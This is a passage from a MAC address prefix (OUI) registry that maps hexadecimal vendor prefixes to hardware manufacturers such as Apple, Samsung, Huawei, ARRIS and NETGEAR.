Taiwan Branch 68DFDD Xiaomi Communications Co Ltd C46AB7 Xiaomi Communications Co Ltd FC64BA Xiaomi Communications Co Ltd 2082C0 Xiaomi Communications Co Ltd 3480B3 Xiaomi Communications Co Ltd 7451BA Xiaomi Communications Co Ltd 64B473 Xiaomi Communications Co Ltd 8C2FA6 Solid Optics B.V. B0A2E7 Shenzhen TINNO Mobile Technology Corp. BCA8A6 Intel Corporate 101331 Technicolor 38AFD7 FUJITSU LIMITED 28993A Arista Networks B0E892 Seiko Epson Corporation AC1826 Seiko Epson Corporation 886639 HUAWEI TECHNOLOGIES CO.,LTD D8197A Nuheara Ltd 8CE117 zte corporation 64136C zte corporation 0005CD D&M Holdings Inc. 8C9351 Jigowatts Inc. 00248D Sony Interactive Entertainment Inc. 54276C Jiangsu Houge Technology Corp. FCFFAA IEEE Registration Authority 70B3D5 IEEE Registration Authority 40D855 IEEE Registration Authority 48DF37 Hewlett Packard Enterprise 74F8DB IEEE Registration Authority 0CEFAF IEEE Registration Authority 28FD80 IEEE Registration Authority B0C5CA IEEE Registration Authority 9802D8 IEEE Registration Authority D07650 IEEE Registration Authority BC6641 IEEE Registration Authority 0028F8 Intel Corporate 8416F9 TP-LINK TECHNOLOGIES CO.,LTD. CCD31E IEEE Registration Authority 8C192D IEEE Registration Authority E81863 IEEE Registration Authority C44BD1 Wallys CommunicationsTeachnologies Co.,Ltd. 2057AF Shenzhen FH-NET OPTOELECTRONICS CO.,LTD 34EA34 HangZhou Gubei Electronics Technology Co.,Ltd CC2D8C LG ELECTRONICS INC 00116E Peplink International Ltd. A091C8 zte corporation 002597 Kalki Communication Technologies 882BD7 ADDÉNERGIETECHNOLOGIES 3044A1 Shanghai Nanchao Information Technology C4F1D1 BEIJING SOGOU TECHNOLOGY DEVELOPMENT CO., LTD. 38A28C SHENZHEN RF-LINK TECHNOLOGY CO.,LTD. 58528A Mitsubishi Electric Corporation B0C287 Technicolor CH USA Inc. CC03FA Technicolor CH USA Inc. 28BE9B Technicolor CH USA Inc. 509F3B OI ELECTRIC CO.,LTD E4029B Intel Corporate 6002B4 Wistron Neweb Corporation 98EECB Wistron Infocomm (Zhongshan) Corporation 70E284 Wistron Infocomm (Zhongshan) Corporation 80EA23 Wistron Neweb Corporation D88039 Microchip Technology Inc. FC3D93 LONGCHEER TELECOMMUNICATION LIMITED 48F7C0 Technicolor CH USA Inc. 00409F Telco Systems, Inc. 00E09E Quantum Corporation A47174 HUAWEI TECHNOLOGIES CO.,LTD D4A148 HUAWEI TECHNOLOGIES CO.,LTD D065CA HUAWEI TECHNOLOGIES CO.,LTD 8CEBC6 HUAWEI TECHNOLOGIES CO.,LTD B808D7 HUAWEI TECHNOLOGIES CO.,LTD FCF152 Sony Corporation 784476 Zioncom Electronics (Shenzhen) Ltd. 00183A Westell Technologies Inc. E89A8F QUANTA COMPUTER INC. 001B24 QUANTA COMPUTER INC. CC52AF Universal Global Scientific Industrial Co., Ltd. 001A6B Universal Global Scientific Industrial Co., Ltd. 00DD0A UNGERMANN-BASS INC. 00039D Qisda Corporation 000B0E Trapeze Networks 002318 Toshiba E89D87 Toshiba E8E0B7 Toshiba 001428 Vocollect Inc 006B9E Vizio, Inc 0024FF QLogic Corporation 00A0C6 Qualcomm Inc. ECAAA0 PEGATRON CORPORATION E8886C Shenzhen SC Technologies Co.,LTD DC35F1 Positivo Informática SA. EC6881 Palo Alto Networks 44334C Shenzhen Bilian electronic CO.,LTD D84FB8 LG ELECTRONICS 9C220E TASCAN Systems GmbH 0CA402 Alcatel-Lucent IPD 00164D Alcatel-Lucent IPD FCFAF7 Shanghai Baud Data Communication Co.,Ltd. C8E776 PTCOM Technology 70F8E7 IEEE Registration Authority 949AA9 Microsoft Corporation C4084A Nokia 0C54B9 Nokia 8C90D3 Nokia 34AA99 Nokia F8633F Intel Corporate 088620 TECNO MOBILE LIMITED A42983 Boeing Defence Australia 702E22 zte corporation 0023B9Airbus Defence and Space Deutschland GmbH B0C128 Adler ELREHA GmbH C8F946 LOCOSYS Technology Inc. 2047ED BSkyB Ltd D41D71 Palo Alto Networks 5C2443 O-Sung Telecom Co., Ltd. 1861C7 lemonbeat GmbH 9CDC71 Hewlett Packard Enterprise 240D65 Shenzhen Vsun Communication Technology Co., Ltd. D8452B Integrated Device Technology (Malaysia) Sdn. Bhd. C8028F Nova Electronics (Shanghai) Co., Ltd. 60EFC6 Shenzhen Chima Technologies Co Limited 502B73 Tenda Technology Co.,Ltd.Dongguan branch 20DBAB Samsung Electronics Co., Ltd. 000DF0 QCOM TECHNOLOGY INC. 5C9960 Samsung Electronics Co.,Ltd 0080FB BVM LIMITED 002722 Ubiquiti Networks Inc. 687251 Ubiquiti Networks Inc. B4FBE4 Ubiquiti Networks Inc. 188B15 ShenZhen ZhongRuiJing Technology co.,LTD E02CF3 MRS Electronic GmbH F41F88 zte corporation D816C1 DEWAV (HK) ELECTRONICS LIMITED 7CCC1F SICHUAN TIANYI COMHEART TELECOMCO.,LTD C0854C Ragentek Technology Group 00FD45 Hewlett Packard Enterprise 9C83BF PRO-VISION, Inc. 9C13AB Chanson Water Co., Ltd. 883C1C MERCURY CORPORATION 9C5D12 Aerohive Networks Inc. 001F82 Cal-Comp Electronics & Communications Company Ltd. 0C0227 Technicolor CH USA Inc. C0288D Logitech, Inc 9C1E95 Actiontec Electronics, Inc E078A3 Shanghai Winner Information Technology Co.,Inc B49691 Intel Corporate 7CCBE2 IEEE Registration Authority 9CD9CB Lesira Manufacturing Pty Ltd 002590 Super Micro Computer, Inc. 187532 SICHUAN TIANYI COMHEART TELECOMCO., LTD E0DCA0 Siemens Industrial Automation Products Ltd Chengdu A4580F IEEE Registration Authority DCD255 Kinpo Electronics, Inc. B0EE7B Roku, Inc E8EADA Denkovi Assembly Electronics LTD 40ED98 IEEE Registration Authority 480C49 NAKAYO Inc 00D0EC NAKAYO Inc C0E54E ARIES Embedded GmbH B4A382 Hangzhou Hikvision Digital Technology Co.,Ltd. 3CA616 vivo Mobile Communication Co., Ltd. 88B4A6 Motorola Mobility LLC, a Lenovo Company 742857 Mayfield Robotics 00CB00 Private 609BC8 Hipad Intelligent Technology Co., Ltd. 1C0FAF Lucid Vision Labs 245CCB AXIe Consortium, Inc. F8F21E Intel Corporate 282986 APC by Schneider Electric 74DA38 Edimax Technology Co. Ltd. 386B1C SHENZHEN MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. 38019F SHENZHEN FAST TECHNOLOGIES CO.,LTD 002424 Ace Axis Limited 8C839D SHENZHEN XINYUPENG ELECTRONIC TECHNOLOGY CO., LTD ECFAF4 SenRa Tech Pvt. Ltd 70991C Shenzhen Honesty Electronics Co.,Ltd 0081F9 Texas Instruments 587A62 Texas Instruments D06726 Hewlett Packard Enterprise 282373 Digita 44CD0E FLEXTRONICS MANUFACTURING(ZHUHAI)CO.,LTD. 088466 Novartis Pharma AG 001F7D Embedded Wireless GmbH 947BBE Ubicquia E82A44 Liteon Technology Corporation 0005A7 HYPERCHIP Inc. 78DDD9 Guangzhou Shiyuan Electronics Co., Ltd. 000966 TRIMBLE EUROPE BV ECB0E1 Ciena Corporation 58C17A Cambium Networks Limited 2C5491 Microsoft Corporation 0450DA Qiku Internet Network Scientific (Shenzhen) Co., Ltd 08BC20 Hangzhou Royal Cloud Technology Co., Ltd 5C70A3 LG Electronics (Mobile Communications) 10F96F LG Electronics (Mobile Communications) F01C13 LG Electronics (Mobile Communications) 00AA70 LG Electronics (Mobile Communications) BCF5AC LG Electronics (Mobile Communications) CCFA00 LG Electronics (Mobile Communications) F8A9D0 LG Electronics (Mobile Communications) 805A04 LG Electronics (Mobile Communications) 5CAF06 LG Electronics (Mobile Communications) B81DAA LG Electronics (Mobile Communications) 10F1F2 LG Electronics (Mobile Communications) 0025E5 LG Electronics (Mobile Communications) 0022A9 LG Electronics (Mobile Communications) C49A02 LG Electronics (Mobile Communications) 344DF7 LG Electronics (Mobile Communications) 449160 Murata Manufacturing Co., Ltd. 44D5A5 AddOn Computer 00AECD Pensando Systems 44AD19 XINGFEI (H.K)LIMITED D896E0 Alibaba Cloud Computing Ltd. 30EB1F Skylab M&C Technology Co.,Ltd B0B2DC Zyxel Communications Corporation 0023F8 Zyxel Communications Corporation 4C9EFF Zyxel Communications Corporation 5CF4AB Zyxel Communications Corporation 1479F3 China Mobile Group Device Co.,Ltd. 90EF68 Zyxel Communications Corporation 28285D Zyxel Communications Corporation 4CAE1C SaiNXT Technologies LLP 4C910CLanix Internacional, S.A. de C.V. 2C4205 Lytx 0090F1 Seagate Cloud Systems Inc D45DDF PEGATRON CORPORATION D41A3F GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 005013 Seagate Cloud Systems Inc 00C0FF Seagate Cloud Systems Inc EC8193 Logitech, Inc D096FB DASAN Network Solutions 5C521E Nintendo Co.,Ltd A825EB Cambridge Industries(Group) Co.,Ltd. D8C8E9 Phicomm (Shanghai) Co., Ltd. 64F88A China Mobile IOT Company Limited 6C49C1 o2ones Co., Ltd. 68DB54 Phicomm (Shanghai) Co., Ltd. E48F34 Vodafone Italia S.p.A. 2C6B7D Texas Instruments 788038 FUNAI ELECTRIC CO., LTD. 000130 Extreme Networks, Inc. CC6EA4 Samsung Electronics Co.,Ltd C477AF Advanced Digital Broadcast SA 20DFB9 Google, Inc. 44F034 Kaonmedia CO., LTD. 14780B Varex Imaging Deutschland AG 10CD6E FISYS A46CF1 Samsung Electronics Co.,Ltd 0CA8A7 Samsung Electronics Co.,Ltd 54B802 Samsung Electronics Co.,Ltd 282C02 IEEE Registration Authority B8C716 Fiberhome Telecommunication Technologies Co.,LTD D05995 Fiberhome Telecommunication Technologies Co.,LTD 54DF24 Fiberhome Telecommunication Technologies Co.,LTD 583BD9 Fiberhome Telecommunication Technologies Co.,LTD BCC00F Fiberhome Telecommunication Technologies Co.,LTD F0407B Fiberhome Telecommunication Technologies Co.,LTD F08CFB Fiberhome Telecommunication Technologies Co.,LTD EC8AC7 Fiberhome Telecommunication Technologies Co.,LTD 005079 Private 5C0038 Viasat Group S.p.A. E4CB59 Beijing Loveair Science and Technology Co. Ltd. C87765 Tiesse SpA 605F8D eero inc. B4DEDF zte corporation 847460 zte corporation B4A8B9 Cisco Systems, Inc 88B6EE Dish Technologies Corp 38E60A Xiaomi Communications Co Ltd C042D0 Juniper Networks E8330D Xaptec GmbH D8D775 Sagemcom Broadband SAS 785364 SHIFT GmbH 24181D SAMSUNG ELECTRO-MECHANICS(THAILAND) 54B7E5 Rayson Technology Co., Ltd. BC0FA7 Ouster ACF970 HUAWEI TECHNOLOGIES CO.,LTD 0C41E9 HUAWEI TECHNOLOGIES CO.,LTD 58D759 HUAWEI TECHNOLOGIES CO.,LTD B41C30 zte corporation F4C248 Samsung Electronics Co.,Ltd A8515B Samsung Electronics Co.,Ltd 606BFF Nintendo Co.,Ltd AC17C8 Cisco Meraki EC9B8B Hewlett Packard Enterprise 70D081 Beijing Netpower Technologies Inc. 70C94E Liteon Technology Corporation 180F76 D-Link International 703A73 Shenzhen Sundray Technologies Company Limited 184C08 Rockwell Automation 98D863 Shanghai High-Flying Electronics Technology Co., Ltd F00FEC HUAWEI TECHNOLOGIES CO.,LTD 0C704A HUAWEI TECHNOLOGIES CO.,LTD 88E90F innomdlelab 54A65C Technicolor CH USA Inc. C098DA China Mobile IOT Company Limited 949F3E Sonos, Inc. B8E937 Sonos, Inc. 7828CA Sonos, Inc. 347E5C Sonos, Inc. C048E6 Samsung Electronics Co.,Ltd B02680 Cisco Systems, Inc 6CE4DA NEC Platforms, Ltd. C88F26 Skyworth Digital Technology(Shenzhen) Co.,Ltd 48BD3D New H3C Technologies Co., Ltd 4CABFC zte corporation 200F70 FOXTECH 003C10 Cisco Systems, Inc 90834B BEIJING YUNYI TIMES TECHNOLOGY CO,.LTD E81AAC ORFEO SOUNDWORKS Inc. A038F8 OURA Health Oy 146B9C SHENZHEN BILIAN ELECTRONIC CO.,LTD D07714 Motorola Mobility LLC, a Lenovo Company 34D712 Smartisan Digital Co., Ltd 984562 Shanghai Baud Data Communication Co.,Ltd. E8986D Palo Alto Networks F08173 Amazon Technologies Inc. 2429FE KYOCERA Corporation A4933F HUAWEI TECHNOLOGIES CO.,LTD 881196 HUAWEI TECHNOLOGIES CO.,LTD F0AF50 Phantom Intelligence F4BC97 Shenzhen Crave Communication Co., LTD 28FEDE COMESTA, Inc. 34E894 TP-LINK TECHNOLOGIES CO.,LTD. 00148C General Dynamics Mission Systems E019D8 BH TECHNOLOGIES 94E1AC Hangzhou Hikvision Digital Technology Co.,Ltd. 24F128 Telstra FC9BC6 Sumavision Technologies Co.,Ltd 001DFA Fujian LANDI Commercial Equipment Co.,Ltd 480BB2 IEEE Registration Authority BC2643 Elprotronic Inc. 9814D2 Avonic B0A37E QING DAO HAIER TELECOM CO.,LTD. 682C7B Cisco Systems, Inc 68CAE4 Cisco Systems, Inc CC934A Sierra Wireless EC9365 Mapper.ai, Inc. A8F5AC HUAWEI TECHNOLOGIES CO.,LTD 505DAC HUAWEI TECHNOLOGIES CO.,LTD 2816A8 Microsoft Corporation 84A134 Apple, Inc. 1C9148 Apple, Inc. C0CCF8 Apple, Inc. 80ED2C Apple, Inc. E8B2AC Apple, Inc. 8489AD Apple, Inc. 20768F Apple, Inc. 28ED6A Apple, Inc. 34AB37 Apple, Inc. 60A37D Apple, Inc. 0056CD Apple, Inc. BCA920 Apple, Inc. 5082D5 Apple, Inc. 9C84BF Apple, Inc. 00B362 Apple, Inc. F86214 Apple, Inc. B0702D Apple, Inc. D0C5F3 Apple, Inc. 0023DF Apple, Inc. 0025BC Apple, Inc. 00264A Apple, Inc. 0026B0 Apple, Inc. 041E64 Apple, Inc. D49A20 Apple, Inc. 9027E4 Apple, Inc. 60334B Apple, Inc. 5C5948 Apple, Inc. 60F445 Apple, Inc. 5CF7E6 Apple, Inc. A0D795 Apple, Inc. CC088D Apple, Inc. 8C8EF2 Apple, Inc. F40F24 Apple, Inc. 24F677 Apple, Inc. 7867D7 Apple, Inc. 5433CB Apple, Inc. D0D2B0 Apple, Inc. D88F76 Apple, Inc. 3C2EF9 Apple, Inc. 7081EB Apple, Inc. 086698 Apple, Inc. 9060F1 Apple, Inc. 741BB2 Apple, Inc. 28CFE9 Apple, Inc. E425E7 Apple, Inc. B019C6 Apple, Inc. 58E28F Apple, Inc. AC1F74 Apple, Inc. 48BF6B Apple, Inc. 245BA7 Apple, Inc. DC56E7 Apple, Inc. 347C25 Apple, Inc. D4909C Apple, Inc. 080007 Apple, Inc. 000A95 Apple, Inc. 002241 Apple, Inc. 18EE69 Apple, Inc. 748114 Apple, Inc. 18F643 Apple, Inc. D0A637 Apple, Inc. A01828 Apple, Inc. D0034B Apple, Inc. A43135 Apple, Inc. 9C35EB Apple, Inc. 507A55 Apple, Inc. A0999B Apple, Inc. 24240E Apple, Inc. 903C92 Apple, Inc. A88E24 Apple, Inc. E8802E Apple, Inc. 68AE20 Apple, Inc. E0B52D Apple, Inc. 80BE05 Apple, Inc. D8BB2C Apple, Inc. D04F7E Apple, Inc. 2C1F23 Apple, Inc. 549F13 Apple, Inc. B8098A Apple, Inc. F0DBE2 Apple, Inc. 8C2937 Apple, Inc. DC9B9C Apple, Inc. 98F0AB Apple, Inc. F0DBF8 Apple, Inc. ACCF5C Apple, Inc. 3C15C2 Apple, Inc. 04489A Apple, Inc. D8CF9C Apple, Inc. A886DD Apple, Inc. 54EAA8 Apple, Inc. E4C63D Apple, Inc. 843835 Apple, Inc. C06394 Apple, Inc. 8C006D Apple, Inc. B09FBA Apple, Inc. DC86D8 Apple, Inc. 78CA39 Apple, Inc. 18E7F4 Apple, Inc. B8FF61 Apple, Inc. DC2B61 Apple, Inc. 1093E9 Apple, Inc. 442A60 Apple, Inc. E0F847 Apple, Inc. 145A05 Apple, Inc. 28CFDA Apple, Inc. 148FC6 Apple, Inc. 283737 Apple, Inc. 045453 Apple, Inc. F0CBA1 Apple, Inc. 30F7C5 Apple, Inc. 008865 Apple, Inc. 40B395 Apple, Inc. 3090AB Apple, Inc. 1CE62B Apple, Inc. A0EDCD Apple, Inc. 842999 Apple, Inc. 74E2F5 Apple, Inc. 20C9D0 Apple, Inc. 7073CB Apple, Inc. 9C207B Apple, Inc. 341298 Apple, Inc. 9C293F Apple, Inc. 7C0191 Apple, Inc. 70480F Apple, Inc. A4B805 Apple, Inc. 587F57 Apple, Inc. 80D605 Apple, Inc. C869CD Apple, Inc. BC6C21 Apple, Inc. 0469F8 Apple, Inc. 749EAF Apple, Inc. B841A4 Apple, Inc. F895EA Apple, Inc. 50A67F Apple, Inc. 647033 Apple, Inc. 846878 Apple, Inc. 68D1BA Shenzhen YOUHUA Technology Co., Ltd BCCAB5 ARRIS Group, Inc. 5C8FE0 ARRIS Group, Inc. 6CCA08 ARRIS Group, Inc. 5465DE ARRIS Group, Inc. ACEC80 ARRIS Group, Inc. 3C7A8A ARRIS Group, Inc. 000FCC ARRIS Group, Inc. 2CA17D ARRIS Group, Inc. 7CBFB1 ARRIS Group, Inc. 8096B1 ARRIS Group, Inc. 00909C ARRIS Group, Inc. 001180 ARRIS Group, Inc. 0017EE ARRIS Group, Inc. 00D088 ARRIS Group, Inc. 0012C9 ARRIS Group, Inc. 001CFB ARRIS Group, Inc. 001C12 ARRIS Group, Inc. 001FC4 ARRIS Group, Inc. 002210 ARRIS Group, Inc. 00211E ARRIS Group, Inc. F8EDA5 ARRIS Group, Inc. 407009 ARRIS Group, Inc. 94877C ARRIS Group, Inc. 001DD2 ARRIS Group, Inc. 0017E2 ARRIS Group, Inc. CC7D37 ARRIS Group, Inc. 001A77 ARRIS Group, Inc. 984B4A ARRIS Group, Inc. 9C3426 ARRIS Group, Inc. 0015A4 ARRIS Group, Inc. 0015A3 ARRIS Group, Inc. C0C522 ARRIS Group, Inc. 5CB066 ARRIS Group, Inc. E48399 ARRIS Group, Inc. 002636 ARRIS Group, Inc. 0024A0 ARRIS Group, Inc. 001675 ARRIS Group, Inc. 0016B5 ARRIS Group, Inc. 001D72 Wistron Corporation 0C73BE Dongguan Haimai Electronie Technology Co.,Ltd 20780B Delta Faucet Company 24D51C Zhongtian broadband technology co., LTD 28FECD Lemobile Information Technology (Beijing) Co., Ltd. 001992 Adtran Inc 4C1694 shenzhen sibituo Technology Co., Ltd 6C160E ShotTracker 7C1015 Brilliant Home Technology, Inc. 4C7872 Cav. Uff. Giacomo Cimberio S.p.A. 78C1A7 zte corporation 540384 Hangkong Nano IC Technologies Co., Ltd 004BF3 SHENZHEN MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. 28A24B Juniper Networks 044E06 Ericsson AB 001BB5 Cherry GmbH 6014B3 CyberTAN Technology Inc. 602103 I4VINE, INC 407D0F HUAWEI TECHNOLOGIES CO.,LTD 3805AC Piller Group GmbH F8BBBF eero inc. 706DEC Wifi-soft LLC AC6B0F CADENCE DESIGN SYSTEMS INC 1CA0D3 IEEE Registration Authority 84D6D0 Amazon Technologies Inc. 34D270 Amazon Technologies Inc. CC82EB KYOCERA CORPORATION 000F17 Insta Elektro GmbH 002365 Insta Elektro GmbH C4EEF5 II-VI Incorporated A41163 IEEE Registration Authority 002CC8 Cisco Systems, Inc 70AF24 TP Vision Belgium NV 7CE97C ITEL MOBILE LIMITED 285F2F RNware Co.,Ltd. E0C0D1 CK Telecom (Shenzhen) Limited 948BC1 Samsung Electronics Co.,Ltd 4827EA Samsung Electronics Co.,Ltd 049573 zte corporation D055B2 Integrated Device Technology (Malaysia) Sdn. Bhd. A49BF5 Hybridserver Tec GmbH B436E3 KBVISION GROUP 488803 ManTechnology Inc. 7C6BF7 NTI co., ltd. 54E061 SICHUAN TIANYI COMHEART TELECOMCO., LTD B47C9C Amazon Technologies Inc. E81367 AIRSOUND Inc. 64D154 Routerboard.com 0020DA Alcatel-Lucent Enterprise 345BBB GD Midea Air-Conditioning Equipment Co.,Ltd. 34CE00 XIAOMI Electronics,CO.,LTD F82F08 Molex 68262A SICHUAN TIANYI COMHEART TELECOMCO., LTD 680235 Konten Networks Inc. 3C678C HUAWEI TECHNOLOGIES CO.,LTD D06F82 HUAWEI TECHNOLOGIES CO.,LTD 844765 HUAWEI TECHNOLOGIES CO.,LTD A0C4A5 SYGN HOUSE CO.,LTD 506787 Planet Networks C83A6B Roku, Inc B4C6F8 Axilspot Communication B83A08 Tenda Technology Co.,Ltd.Dongguan branch 388C50 LG Electronics 50D37F Yu Fly Mikly Way Science and Technology Co., Ltd. D8D866 SHENZHEN TOZED TECHNOLOGIES CO.,LTD. F43E61 SHENZHEN GONGJIN ELECTRONICS CO.,LT 001FA4 SHENZHEN GONGJIN ELECTRONICS CO.,LT 1C5A0B Tegile Systems 38AC3D Nephos Inc A09347 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD C8F230 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 1C77F6 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD E44790 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD D4503F GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 8425A4 Tariox Limited CC90E8 Shenzhen YOUHUA Technology Co., Ltd 88CC45 Skyworth Digital Technology(Shenzhen) Co.,Ltd 605317 Sandstone Technologies 50338B Texas Instruments 986C5C Jiangxi Gosun Guard Security Co.,Ltd F4FCB1 JJ Corp 543B30 duagon AG 60BA18 nextLAP GmbH 704CA5 Fortinet, Inc. 40163B Samsung Electronics Co.,Ltd 5C497D Samsung Electronics Co.,Ltd E47DBD Samsung Electronics Co.,Ltd 503DA1 Samsung Electronics Co.,Ltd 508569 Samsung Electronics Co.,Ltd 1077B1 Samsung Electronics Co.,Ltd 5CF6DC Samsung Electronics Co.,Ltd 380195 Samsung Electronics Co.,Ltd BC1485 Samsung Electronics Co.,Ltd 88D50C GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 509A4C Dell Inc. 00180A Cisco Meraki AC2205 Compal Broadband Networks, Inc. 80A036 Shanghai MXCHIP Information Technology Co., Ltd. 8C395C Bit4id Srl 04714B IEEE Registration Authority 309C23 Micro-Star INTL CO., LTD. 947BE7 Samsung Electronics Co.,Ltd 2C2617 Oculus VR, LLC 2C41A1 Bose Corporation C8DE51IntegraOptics 182CB4 Nectarsoft Co., Ltd. 74DADA D-Link International BCD713 Owl Labs E8E1E1 Gemtek Technology Co., Ltd. 98F2B3 Hewlett Packard Enterprise BC1C81 Sichuan iLink Technology Co., Ltd. CCF954 Avaya Inc 581626 Avaya Inc B4B017 Avaya Inc 64C354 Avaya Inc F873A2 Avaya Inc 646A52 Avaya Inc 64A7DD Avaya Inc 6CFA58 Avaya Inc 3475C7 Avaya Inc C4BED4 Avaya Inc 30FE31 Nokia 703018 Avaya Inc 78B28D Beijing Tengling Technology CO.Ltd 000CAB Commend International GmbH 00EC0A Xiaomi Communications Co Ltd A86B7C SHENZHEN FENGLIAN TECHNOLOGY CO., LTD. 9CA5C0 vivo Mobile Communication Co., Ltd. 1CDA27 vivo Mobile Communication Co., Ltd. 70D923 vivo Mobile Communication Co., Ltd. F430B9 Hewlett Packard 2C9EEC Jabil Circuit Penang 943FC2 Hewlett Packard Enterprise A06A44 Vizio, Inc B44F96 Zhejiang Xinzailing Technology co., ltd D822F4 Avnet Silica 58493B Palo Alto Networks D083D4 Xtel Wireless ApS 7CEB7F Dmet Products Corp. 8C8580 Smart Innovation LLC C4571F June Life Inc FC5A1D Hitron Technologies. Inc 287B09 zte corporation 4859A4 zte corporation 3894E0 Syrotech Networks. Ltd. 34F64B Intel Corporate ACED5C Intel Corporate 18204C Kummler+Matter AG 740ABC LightwaveRF Technology Ltd 54BD79 Samsung Electronics Co.,Ltd D86C63 Google, Inc. 743E2B Ruckus Wireless D838FC Ruckus Wireless 0CF4D5 Ruckus Wireless AC6706 Ruckus Wireless 94F665 Ruckus Wireless E0107F Ruckus Wireless 001392 Ruckus Wireless 7811DC XIAOMI Electronics,CO.,LTD D837BE SHENZHEN GONGJIN ELECTRONICS CO.,LT DC44B6 Samsung Electronics Co.,Ltd 1007B6 Samsung Electronics Co.,Ltd F4939F Hon Hai Precision Ind. Co., Ltd. 000C03 HDMI Licensing, LLC CC2F71 Intel Corporate F82819 Liteon Technology Corporation F4B520 Biostar Microtech international corp. F0F8F2 Texas Instruments 341513 Texas Instruments 64CFD9 Texas Instruments 24B2DE Espressif Inc. 78D800 IEEE Registration Authority 50E971 Jibo, Inc. 50642B XIAOMI Electronics,CO.,LTD 84A1D1 Sagemcom Broadband SAS 783690 Yulong Computer Telecommunication Scientific (Shenzhen) Co.,Ltd 58A0CB TrackNet, Inc 586163 Quantum Networks (SG) Pte. Ltd. 3C7843 HUAWEI TECHNOLOGIES CO.,LTD A47758 Ningbo Freewings Technologies Co.,Ltd 00051E Brocade Communications Systems, Inc. 080088 Brocade Communications Systems, Inc. 00010F Brocade Communications Systems, Inc. 00197F PLANTRONICS, INC. E4F4C6 NETGEAR 001E2A NETGEAR 0014C9 Brocade Communications Systems, Inc. 00184D NETGEAR 0026F2 NETGEAR 30469A NETGEAR 4C60DE NETGEAR E8FCAF NETGEAR 200CC8 NETGEAR DCEF09 NETGEAR A06391 NETGEAR A040A0 NETGEAR 8C3BAD NETGEAR F86465 Anova Applied Electronics, Inc. 70E1FD FLEXTRONICS 001D44 Krohne D4D2E5 BKAV Corporation C06D1A Tianjin Henxinhuifeng Technology Co.,Ltd. 3432E6 Panasonic Industrial Devices Europe GmbH 40A3CC Intel Corporate E470B8 Intel Corporate 303855 Nokia Corporation FCE557 Nokia Corporation 9C305B Hon Hai Precision Ind. Co.,Ltd. 00289F Semptian Co., Ltd. 8C4500 Murata Manufacturing Co., Ltd. 6C7660 KYOCERA CORPORATION 104B46 Mitsubishi Electric Corporation 903DBD SECURE METERS LIMITED 384F49 Juniper Networks A491B1 Technicolor 8CD48E ITEL MOBILE LIMITED 642B8A ALL BEST Industrial Co., Ltd. 68ECC5 Intel Corporate CC9891 Cisco Systems, Inc 1C7022 Murata Manufacturing Co., Ltd. 947EB9 National Narrowband Network Communications Pty Ltd 189BA5 IEEE Registration Authority 4CBD8F Hangzhou Hikvision Digital Technology Co.,Ltd. B4D64E Caldero Limited F89DBB Tintri 104963 HARTING K.K. 646E69 Liteon Technology Corporation BC3D85 HUAWEI TECHNOLOGIES CO.,LTD B0E17E HUAWEI TECHNOLOGIES CO.,LTD 74D21D HUAWEI TECHNOLOGIES CO.,LTD 44C874 China Mobile Group Device Co.,Ltd. 98EF9B OHSUNG 84E327 TAILYN TECHNOLOGIES INC 7091F3 Universal Electronics, Inc. 68C63A Espressif Inc. F4E204 Traqueur 3456FE Cisco Meraki 08674E Hisense broadband multimedia technology Co.,Ltd 6405E9 Shenzhen WayOS Technology Crop., Ltd. 50A83A S Mobile Devices Limited E084F3 High Grade Controls Corporation 74BBD3 Shenzhen xeme Communication Co., Ltd. D8ED1C Magna Technology SL 78617C MITSUMI ELECTRIC CO.,LTD. 00A096 MITSUMI ELECTRIC CO.,LTD. A07099 Beijing Huacan Electronics Co., Ltd 389D92 Seiko Epson Corporation 74860B Cisco Systems, Inc C0174D Samsung Electronics Co.,Ltd A407B6 Samsung Electronics Co.,Ltd 149F3C Samsung Electronics Co.,Ltd 149FB6GUANGDONG GENIUS TECHNOLOGY CO.,LTD. 7C1C4E LG Innotek 70708B Cisco Systems, Inc BC903A Robert Bosch GmbH 603D26 Technicolor CH USA Inc. 3820A8 ColorTokens, Inc. 705896 InShow Technology 78870D Unifiedgateways India Private Limited 80F503 ARRIS Group, Inc. 8496D8 ARRIS Group, Inc. D42C0F ARRIS Group, Inc. E0B7B1 ARRIS Group, Inc. 98F7D7 ARRIS Group, Inc. D4B27A ARRIS Group, Inc. 909D7D ARRIS Group, Inc. 883F4A Texas Instruments B0935B ARRIS Group, Inc. 20F19E ARRIS Group, Inc. 8C5BF0 ARRIS Group, Inc. 001784 ARRIS Group, Inc. 046B1B SYSDINE Co., Ltd. 149B2F JiangSu ZhongXie Intelligent Technology co., LTD 38AF29 Zhejiang Dahua Technology Co., Ltd. 88DE7C Askey Computer Corp. BC325F Zhejiang Dahua Technology Co., Ltd. E4E130 TCT mobile ltd 88D652 AMERGINT Technologies B0FC0D Amazon Technologies Inc. 00BB3A Amazon Technologies Inc. E0CB1D Private 107BA4 Olive & Dove Co.,Ltd. D0C5D3 AzureWave Technology Inc. 14169EWingtech Group (HongKong)Limited D49E05 zte corporation 00B8C2 Heights Telecom T ltd 9C93E4 Private 74C14F HUAWEI TECHNOLOGIES CO.,LTD A8CAB9 SAMSUNG ELECTRO MECHANICS CO., LTD. 54BF64 Dell Inc. 00134F Rapidus Wireless Networks Inc. 7829ED ASKEY COMPUTER CORP 788102 Sercomm Corporation. 7894B4 Sercomm Corporation. B4A5EF Sercomm Corporation. A830AD WEIFANG GOERTEK ELECTRONICS CO.,LTD D868C3 Samsung Electronics Co.,Ltd C493D9 Samsung Electronics Co.,Ltd 488AD2 MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. 486DBB Vestel Elektronik San ve Tic. A.Ş. 7054B4 Vestel Elektronik San ve Tic. A.Ş. 4C0FC7 Earda Technologies co Ltd CC7B61 NIKKISO CO., LTD. 780473 Texas Instruments 4C3FD3 Texas Instruments CC50E3 Espressif Inc. 5CB524 Sony Mobile Communications AB 8400D2 Sony Mobile Communications AB 90C115 Sony Mobile Communications AB 8C6422 Sony Mobile Communications AB B4527E Sony Mobile Communications AB 44D4E0 Sony Mobile Communications AB 848EDF Sony Mobile Communications AB DCAF68 WEIFANG GOERTEK 